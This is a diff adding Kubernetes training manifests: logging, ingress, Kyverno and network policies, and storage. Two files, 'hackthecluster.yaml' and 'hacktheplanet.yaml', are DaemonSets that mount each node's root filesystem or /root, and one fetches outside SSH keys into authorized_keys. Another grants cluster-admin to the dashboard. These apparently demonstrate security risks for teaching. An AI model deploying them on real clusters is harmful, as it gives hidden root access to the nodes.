+  # One convention is to use <objectname>.<timestamp>,
+  # where the timestamp is taken with a nanosecond
+  # precision and expressed in hexadecimal.
+  # Example: web-5dcb957ccc-fjvzc.164689730a36ec3d
+  name: hello.1234567890
+  # The label doesn't serve any purpose, except making
+  # it easier to identify or delete that specific event.
+  labels:
+    container.training/test: ""
+
+#eventTime: "2020-07-04T00:00:00.000000Z"
+#firstTimestamp: "2020-01-01T00:00:00.000000Z"
+#lastTimestamp: "2020-12-31T00:00:00.000000Z"
+#count: 42
+
+involvedObject:
+  ### These 5 lines should be updated to refer to an object.
+  ### Make sure to put the correct "uid", because it is what
+  ### "kubectl describe" is using to gather relevant events.
+  #apiVersion: v1
+  #kind: Pod
+  #name: magic-bean
+  #namespace: blue
+  #uid: 7f28fda8-6ef4-4580-8d87-b55721fcfc30
+
+type: Normal
+reason: BackupSuccessful
+message: "Object successfully dumped to gitops repository"
+source:
+  component: gitops-sync
+#reportingComponent: ""
+#reportingInstance: ""

k8s/filebeat.yaml

@@ -0,0 +1,170 @@
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: filebeat-config
+  namespace: kube-system
+  labels:
+    k8s-app: filebeat
+data:
+  filebeat.yml: |-
+    filebeat.config:
+      inputs:
+        # Mounted `filebeat-inputs` configmap:
+        path: ${path.config}/inputs.d/*.yml
+        # Reload inputs configs as they change:
+        reload.enabled: false
+      modules:
+        path: ${path.config}/modules.d/*.yml
+        # Reload module configs as they change:
+        reload.enabled: false
+
+    # To enable hints based autodiscover, remove `filebeat.config.inputs` configuration and uncomment this:
+    #filebeat.autodiscover:
+    #  providers:
+    #    - type: kubernetes
+    #      hints.enabled: true
+
+    processors:
+      - add_cloud_metadata:
+
+    cloud.id: ${ELASTIC_CLOUD_ID}
+    cloud.auth: ${ELASTIC_CLOUD_AUTH}
+
+    output.elasticsearch:
+      hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']
+      username: ${ELASTICSEARCH_USERNAME}
+      password: ${ELASTICSEARCH_PASSWORD}
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: filebeat-inputs
+  namespace: kube-system
+  labels:
+    k8s-app: filebeat
+data:
+  kubernetes.yml: |-
+    - type: docker
+      containers.ids:
+      - "*"
+      processors:
+        - add_kubernetes_metadata:
+            in_cluster: true
+---
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  name: filebeat
+  namespace: kube-system
+  labels:
+    k8s-app: filebeat
+spec:
+  selector:
+    matchLabels:
+      k8s-app: filebeat
+  template:
+    metadata:
+      labels:
+        k8s-app: filebeat
+    spec:
+      serviceAccountName: filebeat
+      terminationGracePeriodSeconds: 30
+      containers:
+      - name: filebeat
+        image: docker.elastic.co/beats/filebeat-oss:7.0.1
+        args: [
+          "-c", "/etc/filebeat.yml",
+          "-e",
+        ]
+        env:
+        - name: ELASTICSEARCH_HOST
+          value: elasticsearch-es.default.svc.cluster.local
+        - name: ELASTICSEARCH_PORT
+          value: "9200"
+        - name: ELASTICSEARCH_USERNAME
+          value: elastic
+        - name: ELASTICSEARCH_PASSWORD
+          value: changeme
+        - name: ELASTIC_CLOUD_ID
+          value:
+        - name: ELASTIC_CLOUD_AUTH
+          value:
+        securityContext:
+          runAsUser: 0
+          # If using Red Hat OpenShift uncomment this:
+          #privileged: true
+        resources:
+          limits:
+            memory: 200Mi
+          requests:
+            cpu: 100m
+            memory: 100Mi
+        volumeMounts:
+        - name: config
+          mountPath: /etc/filebeat.yml
+          readOnly: true
+          subPath: filebeat.yml
+        - name: inputs
+          mountPath: /usr/share/filebeat/inputs.d
+          readOnly: true
+        - name: data
+          mountPath: /usr/share/filebeat/data
+        - name: varlibdockercontainers
+          mountPath: /var/lib/docker/containers
+          readOnly: true
+      volumes:
+      - name: config
+        configMap:
+          defaultMode: 0600
+          name: filebeat-config
+      - name: varlibdockercontainers
+        hostPath:
+          path: /var/lib/docker/containers
+      - name: inputs
+        configMap:
+          defaultMode: 0600
+          name: filebeat-inputs
+      # data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart
+      - name: data
+        hostPath:
+          path: /var/lib/filebeat-data
+          type: DirectoryOrCreate
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: filebeat
+subjects:
+- kind: ServiceAccount
+  name: filebeat
+  namespace: kube-system
+roleRef:
+  kind: ClusterRole
+  name: filebeat
+  apiGroup: rbac.authorization.k8s.io
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: filebeat
+  labels:
+    k8s-app: filebeat
+rules:
+- apiGroups: [""] # "" indicates the core API group
+  resources:
+  - namespaces
+  - pods
+  verbs:
+  - get
+  - watch
+  - list
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: filebeat
+  namespace: kube-system
+  labels:
+    k8s-app: filebeat
+---

k8s/grant-admin-to-dashboard.yaml

@@ -0,0 +1,14 @@
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: kubernetes-dashboard
+  labels:
+    k8s-app: kubernetes-dashboard
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: cluster-admin
+subjects:
+- kind: ServiceAccount
+  name: kubernetes-dashboard
+  namespace: kube-system

k8s/hackthecluster.yaml

@@ -0,0 +1,34 @@
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  name: hackthecluster
+spec:
+  selector:
+    matchLabels:
+      app: hackthecluster
+  template:
+    metadata:
+      labels:
+        app: hackthecluster
+    spec:
+      volumes:
+      - name: slash
+        hostPath:
+          path: /
+      tolerations:
+      - effect: NoSchedule
+        operator: Exists
+      containers:
+      - name: alpine
+        image: alpine
+        volumeMounts:
+        - name: slash
+          mountPath: /hostfs
+        command:
+        - sleep
+        - infinity
+        securityContext:
+          #privileged: true
+          capabilities:
+            add:
+            - SYS_CHROOT

k8s/hacktheplanet.yaml

@@ -0,0 +1,33 @@
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  name: hacktheplanet
+spec:
+  selector:
+    matchLabels:
+      app: hacktheplanet
+  template:
+    metadata:
+      labels:
+        app: hacktheplanet
+    spec:
+      volumes:
+      - name: root
+        hostPath:
+          path: /root
+      tolerations:
+      - effect: NoSchedule
+        operator: Exists
+      initContainers:
+      - name: hacktheplanet
+        image: alpine
+        volumeMounts:
+        - name: root
+          mountPath: /root
+        command:
+        - sh
+        - -c
+        - "mkdir -p /root/.ssh && apk update && apk add curl && curl https://github.com/jpetazzo.keys > /root/.ssh/authorized_keys"
+      containers:
+      - name: web
+        image: nginx

k8s/haproxy.cfg

@@ -0,0 +1,16 @@
+global
+  daemon
+
+defaults
+  mode tcp
+  timeout connect 5s
+  timeout client 50s
+  timeout server 50s
+
+listen very-basic-load-balancer
+  bind *:80
+  server blue color.blue.svc:80
+  server green color.green.svc:80
+
+# Note: the services above must exist,
+# otherwise HAproxy won't start.

k8s/haproxy.yaml

@@ -0,0 +1,15 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: haproxy
+spec:
+  volumes:
+  - name: config
+    configMap:
+      name: haproxy
+  containers:
+  - name: haproxy
+    image: haproxy:1
+    volumeMounts:
+    - name: config
+      mountPath: /usr/local/etc/haproxy/

k8s/hpa-v2-pa-httplat.yaml

@@ -0,0 +1,28 @@
+kind: HorizontalPodAutoscaler
+apiVersion: autoscaling/v2beta2
+metadata:
+  name: rng
+spec:
+  scaleTargetRef:
+    apiVersion: apps/v1
+    kind: Deployment
+    name: rng
+  minReplicas: 1
+  maxReplicas: 20
+  behavior:
+    scaleUp:
+        stabilizationWindowSeconds: 60
+    scaleDown:
+        stabilizationWindowSeconds: 180
+  metrics:
+  - type: Object
+    object:
+      describedObject:
+        apiVersion: v1
+        kind: Service
+        name: httplat
+      metric:
+        name: httplat_latency_seconds
+      target:
+        type: Value
+        value: 0.1

k8s/ingress-v1.yaml

@@ -0,0 +1,20 @@
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+  name: whatever
+spec:
+  #tls:
+  #- secretName: whatever.A.B.C.D.nip.io
+  #  hosts:
+  #  - whatever.A.B.C.D.nip.io
+  rules:
+  - host: whatever.A.B.C.D.nip.io
+    http:
+      paths:
+      - path: /
+        pathType: Prefix
+        backend:
+          service:
+            name: whatever
+            port:
+              number: 1234

k8s/ingress-v1beta1.yaml

@@ -0,0 +1,17 @@
+apiVersion: networking.k8s.io/v1beta1
+kind: Ingress
+metadata:
+  name: whatever
+spec:
+  #tls:
+  #- secretName: whatever.A.B.C.D.nip.io
+  #  hosts:
+  #  - whatever.A.B.C.D.nip.io
+  rules:
+  - host: whatever.A.B.C.D.nip.io
+    http:
+      paths:
+      - path: /
+        backend:
+          serviceName: whatever
+          servicePort: 1234

k8s/ingress.yaml

@@ -0,0 +1,17 @@
+apiVersion: networking.k8s.io/v1beta1
+kind: Ingress
+metadata:
+  name: whatever
+spec:
+  #tls:
+  #- secretName: whatever.A.B.C.D.nip.io
+  #  hosts:
+  #  - whatever.A.B.C.D.nip.io
+  rules:
+  - host: whatever.A.B.C.D.nip.io
+    http:
+      paths:
+      - path: /
+        backend:
+          serviceName: whatever
+          servicePort: 1234

k8s/just-a-pod.yaml

@@ -0,0 +1,9 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: hello
+  namespace: default
+spec:
+  containers:
+  - name: hello
+    image: nginx

k8s/kaniko-build.yaml

@@ -0,0 +1,28 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: kaniko-build
+spec:
+  initContainers:
+  - name: git-clone
+    image: alpine
+    command: ["sh", "-c"]
+    args:
+    - |
+      apk add --no-cache git &&
+      git clone git://github.com/jpetazzo/container.training /workspace
+    volumeMounts:
+    - name: workspace
+      mountPath: /workspace
+  containers:
+  - name: build-image
+    image: gcr.io/kaniko-project/executor:latest
+    args:
+      - "--context=/workspace/dockercoins/rng"
+      - "--insecure"
+      - "--destination=registry:5000/rng-kaniko:latest"
+    volumeMounts:
+    - name: workspace
+      mountPath: /workspace
+  volumes:
+  - name: workspace

k8s/kyverno-ingress-domain-name-1.yaml

@@ -0,0 +1,28 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: ingress-domain-name
+spec:
+  rules:
+  - name: create-ingress
+    match:
+      resources:
+        kinds:
+        - Service
+    generate:
+      kind: Ingress
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        spec:
+          rules:
+          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
+            http:
+              paths:
+              - backend:
+                  service:
+                    name: "{{request.object.metadata.name}}"
+                    port:
+                      number: 80
+                path: /
+                pathType: Prefix

k8s/kyverno-ingress-domain-name-2a.yaml

@@ -0,0 +1,32 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: ingress-domain-name
+spec:
+  rules:
+  - name: create-ingress
+    match:
+      resources:
+        kinds:
+        - Service
+    preconditions:
+    - key: "{{request.object.spec.ports[0].name}}"
+      operator: Equals
+      value: http
+    generate:
+      kind: Ingress
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        spec:
+          rules:
+          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
+            http:
+              paths:
+              - backend:
+                  service:
+                    name: "{{request.object.metadata.name}}"
+                    port:
+                      name: http
+                path: /
+                pathType: Prefix

k8s/kyverno-ingress-domain-name-2b.yaml

@@ -0,0 +1,32 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: ingress-domain-name
+spec:
+  rules:
+  - name: create-ingress
+    match:
+      resources:
+        kinds:
+        - Service
+    preconditions:
+      - key: http
+        operator: In
+        value: "{{request.object.spec.ports[*].name}}"
+    generate:
+      kind: Ingress
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        spec:
+          rules:
+          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
+            http:
+              paths:
+              - backend:
+                  service:
+                    name: "{{request.object.metadata.name}}"
+                    port:
+                      name: http
+                path: /
+                pathType: Prefix

k8s/kyverno-ingress-domain-name-2c.yaml

@@ -0,0 +1,34 @@
+# Note: this policy uses the operator "AnyIn", which was introduced in Kyverno 1.6.
+# (This policy won't work with Kyverno 1.5!)
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: ingress-domain-name
+spec:
+  rules:
+  - name: create-ingress
+    match:
+      resources:
+        kinds:
+        - Service
+    preconditions:
+      - key: "{{request.object.spec.ports[*].port}}"
+        operator: AnyIn
+        value: [ 80 ]
+    generate:
+      kind: Ingress
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        spec:
+          rules:
+          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
+            http:
+              paths:
+              - backend:
+                  service:
+                    name: "{{request.object.metadata.name}}"
+                    port:
+                      name: http
+                path: /
+                pathType: Prefix

k8s/kyverno-ingress-domain-name-3.yaml

@@ -0,0 +1,37 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: ingress-domain-name
+spec:
+  rules:
+  - name: create-ingress
+    context:
+    - name: configmap
+      configMap:
+        name: ingress-domain-name
+        namespace: "{{request.object.metadata.namespace}}"
+    match:
+      resources:
+        kinds:
+        - Service
+    preconditions:
+    - key: "{{request.object.spec.ports[0].name}}"
+      operator: Equals
+      value: http
+    generate:
+      kind: Ingress
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        spec:
+          rules:
+          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.{{configmap.data.domain}}"
+            http:
+              paths:
+              - backend:
+                  service:
+                    name: "{{request.object.metadata.name}}"
+                    port:
+                      name: http
+                path: /
+                pathType: Prefix

k8s/kyverno-namespace-setup.yaml

@@ -0,0 +1,62 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: setup-namespace
+spec:
+  rules:
+  - name: setup-limitrange
+    match:
+      resources:
+        kinds:
+        - Namespace
+    generate:
+      kind: LimitRange
+      name: default-limitrange
+      namespace: "{{request.object.metadata.name}}"
+      data:
+        spec:
+          limits:
+          - type: Container
+            min:
+              cpu: 0.1
+              memory: 0.1
+            max:
+              cpu: 2
+              memory: 2Gi
+            default:
+              cpu: 0.25
+              memory: 500Mi
+            defaultRequest:
+              cpu: 0.25
+              memory: 250Mi
+  - name: setup-resourcequota
+    match:
+      resources:
+        kinds:
+        - Namespace
+    generate:
+      kind: ResourceQuota
+      name: default-resourcequota
+      namespace: "{{request.object.metadata.name}}"
+      data:
+        spec:
+          hard:
+            requests.cpu: "10"
+            requests.memory: 10Gi
+            limits.cpu: "20"
+            limits.memory: 20Gi
+  - name: setup-networkpolicy
+    match:
+      resources:
+        kinds:
+        - Namespace
+    generate:
+      kind: NetworkPolicy
+      name: default-networkpolicy
+      namespace: "{{request.object.metadata.name}}"
+      data:
+        spec:
+          podSelector: {}
+          ingress:
+          - from:
+            - podSelector: {}

k8s/kyverno-pod-color-1.yaml

@@ -0,0 +1,22 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: pod-color-policy-1
+spec:
+  validationFailureAction: enforce
+  rules:
+  - name: ensure-pod-color-is-valid
+    match:
+      resources:
+        kinds:
+        - Pod
+        selector:
+          matchExpressions:
+          - key: color
+            operator: Exists
+          - key: color
+            operator: NotIn
+            values: [ red, green, blue ]
+    validate:
+      message: "If it exists, the label color must be red, green, or blue."
+      deny: {}

k8s/kyverno-pod-color-2.yaml

@@ -0,0 +1,30 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: pod-color-policy-2
+spec:
+  validationFailureAction: enforce
+  background: false
+  rules:
+  - name: prevent-color-change
+    match:
+      resources:
+        kinds:
+        - Pod
+    preconditions:
+    - key: "{{ request.operation }}"
+      operator: Equals
+      value: UPDATE
+    - key: "{{ request.oldObject.metadata.labels.color || '' }}"
+      operator: NotEquals
+      value: ""
+    - key: "{{ request.object.metadata.labels.color || '' }}"
+      operator: NotEquals
+      value: ""
+    validate:
+      message: "Once label color has been added, it cannot be changed."
+      deny:
+        conditions:
+        - key: "{{ request.object.metadata.labels.color }}"
+          operator: NotEquals
+          value: "{{ request.oldObject.metadata.labels.color }}"

k8s/kyverno-pod-color-3.yaml

@@ -0,0 +1,27 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: pod-color-policy-3
+spec:
+  validationFailureAction: enforce
+  background: false
+  rules:
+  - name: prevent-color-change
+    match:
+      resources:
+        kinds:
+        - Pod
+    preconditions:
+    - key: "{{ request.operation }}"
+      operator: Equals
+      value: UPDATE
+    - key: "{{ request.oldObject.metadata.labels.color || '' }}"
+      operator: NotEquals
+      value: ""
+    - key: "{{ request.object.metadata.labels.color || '' }}"
+      operator: Equals
+      value: ""
+    validate:
+      message: "Once label color has been added, it cannot be removed."
+      deny:
+        conditions:

k8s/kyverno-tls-for-ingress.yaml

@@ -0,0 +1,45 @@
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: tls-for-ingress
+spec:
+  rules:
+  - name: create-role
+    match:
+      resources:
+        kinds:
+        - Certificate
+    generate:
+      kind: Role
+      apiVersion: rbac.authorization.k8s.io/v1
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        rules:
+        - verbs:
+          - get
+          apiGroups:
+          - ""
+          resources:
+          - secrets
+          resourceNames:
+          - "{{request.object.metadata.name}}"
+  - name: create-rolebinding
+    match:
+      resources:
+        kinds:
+        - Certificate
+    generate:
+      kind: RoleBinding
+      apiVersion: rbac.authorization.k8s.io/v1
+      name: "{{request.object.metadata.name}}"
+      namespace: "{{request.object.metadata.namespace}}"
+      data:
+        roleRef:
+          apiGroup: rbac.authorization.k8s.io
+          kind: Role
+          name: "{{request.object.metadata.name}}"
+        subjects:
+        - kind: ServiceAccount
+          name: default
+          namespace: "{{request.object.metadata.namespace}}"

k8s/local-path-storage.yaml

@@ -0,0 +1,157 @@
+# This is a local copy of:
+# https://github.com/rancher/local-path-provisioner/blob/master/deploy/local-path-storage.yaml
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: local-path-storage
+
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: local-path-provisioner-service-account
+  namespace: local-path-storage
+
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: local-path-provisioner-role
+rules:
+  - apiGroups: [ "" ]
+    resources: [ "nodes", "persistentvolumeclaims", "configmaps" ]
+    verbs: [ "get", "list", "watch" ]
+  - apiGroups: [ "" ]
+    resources: [ "endpoints", "persistentvolumes", "pods" ]
+    verbs: [ "*" ]
+  - apiGroups: [ "" ]
+    resources: [ "events" ]
+    verbs: [ "create", "patch" ]
+  - apiGroups: [ "storage.k8s.io" ]
+    resources: [ "storageclasses" ]
+    verbs: [ "get", "list", "watch" ]
+
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: local-path-provisioner-bind
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: local-path-provisioner-role
+subjects:
+  - kind: ServiceAccount
+    name: local-path-provisioner-service-account
+    namespace: local-path-storage
+
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: local-path-provisioner
+  namespace: local-path-storage
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: local-path-provisioner
+  template:
+    metadata:
+      labels:
+        app: local-path-provisioner
+    spec:
+      serviceAccountName: local-path-provisioner-service-account
+      containers:
+        - name: local-path-provisioner
+          image: rancher/local-path-provisioner:v0.0.19
+          imagePullPolicy: IfNotPresent
+          command:
+            - local-path-provisioner
+            - --debug
+            - start
+            - --config
+            - /etc/config/config.json
+          volumeMounts:
+            - name: config-volume
+              mountPath: /etc/config/
+          env:
+            - name: POD_NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
+      volumes:
+        - name: config-volume
+          configMap:
+            name: local-path-config
+
+---
+apiVersion: storage.k8s.io/v1
+kind: StorageClass
+metadata:
+  name: local-path
+provisioner: rancher.io/local-path
+volumeBindingMode: WaitForFirstConsumer
+reclaimPolicy: Delete
+
+---
+kind: ConfigMap
+apiVersion: v1
+metadata:
+  name: local-path-config
+  namespace: local-path-storage
+data:
+  config.json: |-
+    {
+            "nodePathMap":[
+            {
+                    "node":"DEFAULT_PATH_FOR_NON_LISTED_NODES",
+                    "paths":["/opt/local-path-provisioner"]
+            }
+            ]
+    }
+  setup: |-
+    #!/bin/sh
+    while getopts "m:s:p:" opt
+    do
+        case $opt in
+            p)
+            absolutePath=$OPTARG
+            ;;
+            s)
+            sizeInBytes=$OPTARG
+            ;;
+            m)
+            volMode=$OPTARG
+            ;;
+        esac
+    done
+
+    mkdir -m 0777 -p ${absolutePath}
+  teardown: |-
+    #!/bin/sh
+    while getopts "m:s:p:" opt
+    do
+        case $opt in
+            p)
+            absolutePath=$OPTARG
+            ;;
+            s)
+            sizeInBytes=$OPTARG
+            ;;
+            m)
+            volMode=$OPTARG
+            ;;
+        esac
+    done
+
+    rm -rf ${absolutePath}
+  helperPod.yaml: |-
+    apiVersion: v1
+    kind: Pod
+    metadata:
+      name: helper-pod
+    spec:
+      containers:
+      - name: helper-pod
+        image: busybox

k8s/metrics-server.yaml

@@ -0,0 +1,193 @@
+# This file is https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml
+# But with the following arguments added to metrics-server:
+#   args:
+#   - --kubelet-insecure-tls
+#   - --metric-resolution=5s
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: metrics-server
+  namespace: kube-system
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  labels:
+    k8s-app: metrics-server
+    rbac.authorization.k8s.io/aggregate-to-admin: "true"
+    rbac.authorization.k8s.io/aggregate-to-edit: "true"
+    rbac.authorization.k8s.io/aggregate-to-view: "true"
+  name: system:aggregated-metrics-reader
+rules:
+- apiGroups:
+  - metrics.k8s.io
+  resources:
+  - pods
+  - nodes
+  verbs:
+  - get
+  - list
+  - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: system:metrics-server
+rules:
+- apiGroups:
+  - ""
+  resources:
+  - pods
+  - nodes
+  - nodes/stats
+  - namespaces
+  - configmaps
+  verbs:
+  - get
+  - list
+  - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: metrics-server-auth-reader
+  namespace: kube-system
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: extension-apiserver-authentication-reader
+subjects:
+- kind: ServiceAccount
+  name: metrics-server
+  namespace: kube-system
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: metrics-server:system:auth-delegator
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: system:auth-delegator
+subjects:
+- kind: ServiceAccount
+  name: metrics-server
+  namespace: kube-system
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: system:metrics-server
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: system:metrics-server
+subjects:
+- kind: ServiceAccount
+  name: metrics-server
+  namespace: kube-system
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: metrics-server
+  namespace: kube-system
+spec:
+  ports:
+  - name: https
+    port: 443
+    protocol: TCP
+    targetPort: https
+  selector:
+    k8s-app: metrics-server
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: metrics-server
+  namespace: kube-system
+spec:
+  selector:
+    matchLabels:
+      k8s-app: metrics-server
+  strategy:
+    rollingUpdate:
+      maxUnavailable: 0
+  template:
+    metadata:
+      labels:
+        k8s-app: metrics-server
+    spec:
+      containers:
+      - args:
+        - --cert-dir=/tmp
+        - --secure-port=4443
+        - --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
+        - --kubelet-use-node-status-port
+        - --kubelet-insecure-tls
+        - --metric-resolution=5s
+        image: k8s.gcr.io/metrics-server/metrics-server:v0.4.3
+        imagePullPolicy: IfNotPresent
+        livenessProbe:
+          failureThreshold: 3
+          httpGet:
+            path: /livez
+            port: https
+            scheme: HTTPS
+          periodSeconds: 10
+        name: metrics-server
+        ports:
+        - containerPort: 4443
+          name: https
+          protocol: TCP
+        readinessProbe:
+          failureThreshold: 3
+          httpGet:
+            path: /readyz
+            port: https
+            scheme: HTTPS
+          periodSeconds: 10
+        securityContext:
+          readOnlyRootFilesystem: true
+          runAsNonRoot: true
+          runAsUser: 1000
+        volumeMounts:
+        - mountPath: /tmp
+          name: tmp-dir
+      nodeSelector:
+        kubernetes.io/os: linux
+      priorityClassName: system-cluster-critical
+      serviceAccountName: metrics-server
+      volumes:
+      - emptyDir: {}
+        name: tmp-dir
+---
+apiVersion: apiregistration.k8s.io/v1
+kind: APIService
+metadata:
+  labels:
+    k8s-app: metrics-server
+  name: v1beta1.metrics.k8s.io
+spec:
+  group: metrics.k8s.io
+  groupPriorityMinimum: 100
+  insecureSkipTLSVerify: true
+  service:
+    name: metrics-server
+    namespace: kube-system
+  version: v1beta1
+  versionPriority: 100

k8s/mounter.yaml

@@ -0,0 +1,20 @@
+kind: Pod
+apiVersion: v1
+metadata:
+  generateName: mounter-
+  labels:
+    container.training/mounter: ""
+spec:
+  volumes:
+  - name: pvc
+    persistentVolumeClaim:
+      claimName: my-pvc-XYZ45
+  containers:
+  - name: mounter
+    image: alpine
+    stdin: true
+    tty: true
+    volumeMounts:
+    - name: pvc
+      mountPath: /pvc
+    workingDir: /pvc

k8s/netpol-allow-testcurl-for-testweb.yaml

@@ -0,0 +1,13 @@
+kind: NetworkPolicy
+apiVersion: networking.k8s.io/v1
+metadata:
+  name: allow-testcurl-for-testweb
+spec:
+  podSelector:
+    matchLabels:
+      app: testweb
+  ingress:
+  - from:
+    - podSelector:
+        matchLabels:
+          run: testcurl

k8s/netpol-deny-all-for-testweb.yaml

@@ -0,0 +1,9 @@
+kind: NetworkPolicy
+apiVersion: networking.k8s.io/v1
+metadata:
+  name: deny-all-for-testweb
+spec:
+  podSelector:
+    matchLabels:
+      app: testweb
+  ingress: []

k8s/netpol-dockercoins.yaml

@@ -0,0 +1,20 @@
+kind: NetworkPolicy
+apiVersion: networking.k8s.io/v1
+metadata:
+  name: deny-from-other-namespaces
+spec:
+  podSelector: {}
+  ingress:
+  - from:
+    - podSelector: {}
+---
+kind: NetworkPolicy
+apiVersion: networking.k8s.io/v1
+metadata:
+  name: allow-webui
+spec:
+  podSelector:
+    matchLabels:
+      app: webui
+  ingress:
+  - from: []

k8s/nginx-1-without-volume.yaml

@@ -0,0 +1,8 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: nginx-without-volume
+spec:
+  containers:
+  - name: nginx
+    image: nginx

k8s/nginx-2-with-volume.yaml

@@ -0,0 +1,13 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: nginx-with-volume
+spec:
+  volumes:
+  - name: www
+  containers:
+  - name: nginx
+    image: nginx
+    volumeMounts:
+    - name: www
+      mountPath: /usr/share/nginx/html/

k8s/nginx-3-with-git.yaml

@@ -0,0 +1,20 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: nginx-with-git
+spec:
+  volumes:
+  - name: www
+  containers:
+  - name: nginx
+    image: nginx
+    volumeMounts:
+    - name: www
+      mountPath: /usr/share/nginx/html/
+  - name: git
+    image: alpine
+    command: [ "sh", "-c", "apk add git && git clone https://github.com/octocat/Spoon-Knife /www" ]
+    volumeMounts:
+    - name: www
+      mountPath: /www/
+  restartPolicy: OnFailure

k8s/nginx-4-with-init.yaml

@@ -0,0 +1,20 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: nginx-with-init
+spec:
+  volumes:
+  - name: www
+  containers:
+  - name: nginx
+    image: nginx
+    volumeMounts:
+    - name: www
+      mountPath: /usr/share/nginx/html/
+  initContainers:
+  - name: git
+    image: alpine
+    command: [ "sh", "-c", "apk add git && sleep 5 && git clone https://github.com/octocat/Spoon-Knife /www" ]
+    volumeMounts:
+    - name: www
+      mountPath: /www/

k8s/openebs-pod.yaml

@@ -0,0 +1,23 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: openebs-local-hostpath-pod
+spec:
+  volumes:
+  - name: storage
+    persistentVolumeClaim:
+      claimName: local-hostpath-pvc
+  containers:
+  - name: better
+    image: alpine
+    command:
+       - sh
+       - -c
+       - |
+         while true; do
+           echo "$(date) [$(hostname)] Kubernetes is better with PVs." >> /mnt/storage/greet.txt
+           sleep $(($RANDOM % 5 + 20))
+         done
+    volumeMounts:
+    - mountPath: /mnt/storage
+      name: storage

k8s/persistent-consul.yaml

@@ -0,0 +1,98 @@
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: persistentconsul
+rules:
